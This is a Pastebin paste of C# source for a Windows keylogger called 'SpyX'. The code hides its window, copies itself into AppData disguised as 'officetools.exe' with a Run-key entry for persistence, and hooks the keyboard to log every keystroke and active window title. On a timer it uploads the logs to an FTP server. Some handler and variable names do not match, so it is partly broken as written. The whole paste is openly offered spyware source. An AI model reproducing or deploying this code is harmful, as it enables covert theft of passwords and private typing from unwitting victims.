Advertisement
Guest User

Untitled

a guest
Mar 28th, 2016
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.47 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.IO;
  8. using System.Net;
  9. using System.Net.Mail;
  10. using System.Runtime.InteropServices;
  11. using System.Text;
  12. using System.Timers;
  13. using System.Windows.Forms;
  14.  
  15.  
  16. namespace SpyX
  17. {
  18. public partial class Form1 : Form
  19. {
  20. [DllImport("user32.dll")]
  21. static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hIstance, uint threadId);
  22. [DllImport("user32.dll")]
  23. static extern bool UnhookWindowsHookEx(IntPtr kInstance);
  24. [DllImport("user32.dll")]
  25. static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
  26. [DllImport("kernel32.dll")]
  27. static extern IntPtr LoadLibrary(string lpFileName);
  28. [DllImport("user32.dll")]
  29. static extern IntPtr GetForegroundWindow();
  30. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  31. static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
  32.  
  33. public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
  34.  
  35. private keyboardHookProc hookProcDelegate;
  36.  
  37. public struct keyboardHookStruct
  38.  
  39. {
  40. public int vkCode;
  41. public int scanCode;
  42. public int flags;
  43. public int time;
  44. public int dwExtraInfo;
  45. }
  46.  
  47. const int WH_KEYBOARD_LL = 13;
  48. const int WM_KEYDOWN = 0x100;
  49. const int WM_KEYUP = 0x101;
  50. const int WM_SYSKEYDOWN = 0x104;
  51. const int WM_SYSKEYUP = 0x105;
  52. static IntPtr hhok = IntPtr.Zero;
  53. static IntPtr hCurrentWindow = IntPtr.Zero;
  54. static string Log = String.Empty;
  55. static string windowTitle = String.Empty;
  56. static byte shift = 0;
  57.  
  58. //KONFIGURACJA
  59. static int ti = 1; // Co ile min ma się wysyłać log
  60. static string FTPServer = "";
  61. static string FTPUseName = "";
  62. static string FTPPassword = "";
  63. private IntPtr hhook;
  64. private keyboardHookProc hookProc;
  65. private ElapsedEventHandler OnTimedEvent;
  66. private static string FTPUserName;
  67.  
  68. public Form1()
  69. {
  70. InitializeComponent();
  71. }
  72.  
  73. private void Form1_Load(object sender, EventArgs e)
  74. {
  75. this.Hide();
  76. }
  77.  
  78. private bool IsStartupItem()
  79. {
  80. RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  81.  
  82. if (rkApp.GetValue("Office Tools") == null)
  83.  
  84. return false;
  85. else
  86. return true;
  87. }
  88.  
  89. private void Form1_load(object sender, EventArgs e)
  90. {
  91. string tempPath = Path.GetTempPath();
  92.  
  93. RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  94.  
  95. if (!IsStartupItem())
  96. {
  97. string destFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "officetools.exe");
  98. File.Copy(Application.ExecutablePath.ToString(), destFilePath);
  99.  
  100. rkApp.SetValue("office tools", destFilePath);
  101. }
  102.  
  103. hookProcDelegate = hookProc;
  104. IntPtr hInstance = LoadLibrary("User32");
  105. hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
  106. System.Timers.Timer myTimer = new System.Timers.Timer();
  107. myTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
  108. myTimer.Interval = ti * 60 * 1000;
  109. myTimer.Enabled = true;
  110.  
  111. }
  112. private static string Colorize(string inputstr, int keytype)
  113. {
  114. switch (keytype)
  115. {
  116. case 1: return ("<i>" + inputstr + "</i>");
  117. case 2: return ("<span style=\"color: #808080;\">" + inputstr + "</span>");
  118. case 3: return ("<span style=\"color: #000080;\">" + inputstr + "</span>");
  119. case 4: return ("<span style=\"color: #008000;\">" + inputstr + "</span>");
  120. default: return inputstr;
  121.  
  122. }
  123.  
  124. }
  125. private static void OnTimeEvent(object source, ElapsedEventArgs e)
  126. {
  127. if (Log.Length < 8)
  128. return;
  129. string logFinal = String.Empty;
  130. logFinal = "<html><head><meta http-equiv=\"Content-Type\"Content=\"text\html; charset = utf-8\"></head><body>";
  131. logFinal += Log;
  132. logFinal += "</body></html>";
  133.  
  134. string tempPath = Path.GetTempPath();
  135.  
  136. string logFileName = Environment.MachineName + "-" + Environment.UserName + "-" + DateTime.Now.ToString("HH-mm-ss_d-M-yyyy") + ".html";
  137.  
  138. string fullPath = tempPath + logFileName;
  139.  
  140. using (StreamWriter outfile = new StreamWriter(fullPath))
  141. {
  142. outfile.Write(logFinal);
  143. }
  144.  
  145. try
  146. {
  147. FtpWebRequest ftp = (FtpWebRequest)WebRequest.Create(FTPServer + "/" + logFileName);
  148. ftp.Credentials = new NetworkCredential(FTPUserName, FTPPassword);
  149. ftp.KeepAlive = true;
  150. ftp.UseBinary = true;
  151. ftp.UsePassive = true;
  152. ftp.Method = WebRequestMethods.Ftp.UploadFile;
  153. FileStream fs = File.OpenRead(fullPath);
  154. byte[] buffer = new byte[fs.Length];
  155. fs.Read(buffer, 0, buffer.Length);
  156. fs.Close();
  157. Stream ftpstream = ftp.GetRequestStream();
  158. ftpstream.Write(buffer, 0, buffer.Length);
  159. ftpstream.Close();
  160. }
  161. catch (Exception)
  162. {
  163.  
  164. }
  165.  
  166. File.Delete(fullPath);
  167.  
  168. Log = String.Empty;
  169. logFinal = String.Empty;
  170.  
  171. }
  172. public static int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
  173. {
  174. if (code >=0)
  175. {
  176. Keys key = (Keys)lParam.vkCode;
  177. KeyEventArgs kea = new KeyEventArgs(key);
  178. if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
  179. {
  180. if (hCurrentWindow != GetForegroundWindow())
  181. {
  182. StringBuilder sb = new StringBuilder(256);
  183. hCurrentWindow = GetForegroundWindow();
  184. GetWindowText(hCurrentWindow, sb, sb.Capacity);
  185. Log += "<br /><strong>[" + sb.ToString() + "]</strong><br />";
  186. }
  187. if (Keys.Shift == Control.ModifierKeys) shift = 1;
  188. else shift = 0;
  189. switch (kea.KeyCode)
  190. {
  191. case Keys.Back: Log += Colorize("[Backspace]", 1);
  192. break;
  193. case Keys.Tab: Log += Colorize("[Tab]", 1);
  194. break;
  195. case Keys.LineFeed: Log += Colorize("[LineFeed]", 1);
  196. break;
  197. case Keys.Clear: Log += Colorize("[Ckear]", 1);
  198. break;
  199. case Keys.Return: Log += Colorize("[Return]", 1);
  200. break;
  201. case Keys.RMenu: Log += Colorize("[RAlt]", 1);
  202. break;
  203. case Keys.LMenu: Log += Colorize("[LAlt]", 1);
  204. break;
  205. case Keys.CapsLock: Log += Colorize("[CapsLock]", 1);
  206. break;
  207. case Keys.Escape: Log += Colorize("[Escape]", 1);
  208. break;
  209. case Keys.Space: Log += "&nbsp;" ;
  210. break;
  211. case Keys.Delete: Log += Colorize("[Delete]", 1);
  212. break;
  213.  
  214. case Keys.D0:
  215. if (shift == 0)
  216. Log += Colorize("0", 2);
  217. else
  218. Log += Colorize(")", 3);
  219. break;
  220. case Keys.D1:
  221. if (shift == 0)
  222. Log += Colorize("1", 2);
  223. else
  224. Log += Colorize("!", 3);
  225. break;
  226. case Keys.D2:
  227. if (shift == 0)
  228. Log += Colorize("2", 2);
  229. else
  230. Log += Colorize("@", 3);
  231. break;
  232. case Keys.D3:
  233. if (shift == 0)
  234. Log += Colorize("3", 2);
  235. else
  236. Log += Colorize("#", 3);
  237. break;
  238. case Keys.D4:
  239. if (shift == 0)
  240. Log += Colorize("4", 2);
  241. else
  242. Log += Colorize("$", 3);
  243. break;
  244. case Keys.D5:
  245. if (shift == 0)
  246. Log += Colorize("5", 2);
  247. else
  248. Log += Colorize("%", 3);
  249. break;
  250. case Keys.D6:
  251. if (shift == 0)
  252. Log += Colorize("6", 2);
  253. else
  254. Log += Colorize("^", 3);
  255. break;
  256. case Keys.D7:
  257. if (shift == 0)
  258. Log += Colorize("7", 2);
  259. else
  260. Log += Colorize("&", 3);
  261. break;
  262. case Keys.D8:
  263. if (shift == 0)
  264. Log += Colorize("8", 2);
  265. else
  266. Log += Colorize("*", 3);
  267. break;
  268. case Keys.D9:
  269. if (shift == 0)
  270. Log += Colorize("9", 2);
  271. else
  272. Log += Colorize("(", 3);
  273. break;
  274. case Keys.A:
  275. if (shift == 0)
  276. Log += Colorize("a", 4);
  277. else
  278. Log += Colorize("A", 4);
  279. break;
  280. case Keys.B:
  281. if (shift == 0)
  282. Log += Colorize("b", 4);
  283. else
  284. Log += Colorize("B", 4);
  285. break;
  286. case Keys.C:
  287. if (shift == 0)
  288. Log += Colorize("c", 4);
  289. else
  290. Log += Colorize("C", 4);
  291. break;
  292. case Keys.D:
  293. if (shift == 0)
  294. Log += Colorize("d", 4);
  295. else
  296. Log += Colorize("D", 4);
  297. break;
  298. case Keys.E:
  299. if (shift == 0)
  300. Log += Colorize("e", 4);
  301. else
  302. Log += Colorize("E", 4);
  303. break;
  304. case Keys.F:
  305. if (shift == 0)
  306. Log += Colorize("f", 4);
  307. else
  308. Log += Colorize("F", 4);
  309. break;
  310. case Keys.G:
  311. if (shift == 0)
  312. Log += Colorize("g", 4);
  313. else
  314. Log += Colorize("G", 4);
  315. break;
  316. case Keys.H:
  317. if (shift == 0)
  318. Log += Colorize("h", 4);
  319. else
  320. Log += Colorize("H", 4);
  321. break;
  322. case Keys.I:
  323. if (shift == 0)
  324. Log += Colorize("i", 4);
  325. else
  326. Log += Colorize("I", 4);
  327. break;
  328. case Keys.J:
  329. if (shift == 0)
  330. Log += Colorize("j", 4);
  331. else
  332. Log += Colorize("J", 4);
  333. break;
  334. case Keys.K:
  335. if (shift == 0)
  336. Log += Colorize("k", 4);
  337. else
  338. Log += Colorize("K", 4);
  339. break;
  340. case Keys.L:
  341. if (shift == 0)
  342. Log += Colorize("l", 4);
  343. else
  344. Log += Colorize("L", 4);
  345. break;
  346. case Keys.M:
  347. if (shift == 0)
  348. Log += Colorize("m", 4);
  349. else
  350. Log += Colorize("M", 4);
  351. break;
  352. case Keys.N:
  353. if (shift == 0)
  354. Log += Colorize("n", 4);
  355. else
  356. Log += Colorize("N", 4);
  357. break;
  358. case Keys.O:
  359. if (shift == 0)
  360. Log += Colorize("o", 4);
  361. else
  362. Log += Colorize("O", 4);
  363. break;
  364. case Keys.P:
  365. if (shift == 0)
  366. Log += Colorize("p", 4);
  367. else
  368. Log += Colorize("P", 4);
  369. break;
  370. case Keys.Q:
  371. if (shift == 0)
  372. Log += Colorize("q", 4);
  373. else
  374. Log += Colorize("Q", 4);
  375. break;
  376. case Keys.R:
  377. if (shift == 0)
  378. Log += Colorize("r", 4);
  379. else
  380. Log += Colorize("R", 4);
  381. break;
  382. case Keys.S:
  383. if (shift == 0)
  384. Log += Colorize("s", 4);
  385. else
  386. Log += Colorize("S", 4);
  387. break;
  388. case Keys.T:
  389. if (shift == 0)
  390. Log += Colorize("t", 4);
  391. else
  392. Log += Colorize("T", 4);
  393. break;
  394. case Keys.U:
  395. if (shift == 0)
  396. Log += Colorize("u", 4);
  397. else
  398. Log += Colorize("U", 4);
  399. break;
  400. case Keys.V:
  401. if (shift == 0)
  402. Log += Colorize("v", 4);
  403. else
  404. Log += Colorize("V", 4);
  405. break;
  406. case Keys.W:
  407. if (shift == 0)
  408. Log += Colorize("w", 4);
  409. else
  410. Log += Colorize("W", 4);
  411. break;
  412. case Keys.X:
  413. if (shift == 0)
  414. Log += Colorize("x", 4);
  415. else
  416. Log += Colorize("X", 4);
  417. break;
  418. case Keys.Y:
  419. if (shift == 0)
  420. Log += Colorize("y", 4);
  421. else
  422. Log += Colorize("Y", 4);
  423. break;
  424. case Keys.Z:
  425. if (shift == 0)
  426. Log += Colorize("z", 4);
  427. else
  428. Log += Colorize("Z", 4);
  429. break;
  430. case Keys.Oemtilde:
  431. if (shift == 0)
  432. Log += Colorize("`", 3);
  433. else
  434. Log += Colorize("~", 3);
  435. break;
  436. case Keys.OemMinus:
  437. if (shift == 0)
  438. Log += Colorize("-", 3);
  439. else
  440. Log += Colorize("_", 3);
  441. break;
  442. case (Keys) 187 :
  443. if (shift == 0)
  444. Log += Colorize("=", 3);
  445. else
  446. Log += Colorize("+", 3);
  447. break;
  448. case Keys.OemOpenBrackets:
  449. if (shift == 0)
  450. Log += Colorize("[", 3);
  451. else
  452. Log += Colorize("{", 3);
  453. break;
  454. case Keys.Oem6:
  455. if (shift == 0)
  456. Log += Colorize("]", 3);
  457. else
  458. Log += Colorize("}", 3);
  459. break;
  460. case Keys.Oem5:
  461. if (shift == 0)
  462. Log += Colorize("\\", 3);
  463. else
  464. Log += Colorize("|", 3);
  465. break;
  466. case Keys.Oem1:
  467. if (shift == 0)
  468. Log += Colorize(";", 3);
  469. else
  470. Log += Colorize(":", 3);
  471. break;
  472. case Keys.Oemcomma:
  473. if (shift == 0)
  474. Log += Colorize(",", 3);
  475. else
  476. Log += Colorize("&lt", 3);
  477. break;
  478. case Keys.OemPeriod:
  479. if (shift == 0)
  480. Log += Colorize(".", 3);
  481. else
  482. Log += Colorize("&gt", 3);
  483. break;
  484. case Keys.OemQuestion:
  485. if (shift == 0)
  486. Log += Colorize("/", 3);
  487. else
  488. Log += Colorize("?", 3);
  489. break;
  490.  
  491. }
  492. }
  493. }
  494. return CallNextHookEx(hhook, code, wParam, ref lParam);
  495. }
  496. }
  497. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement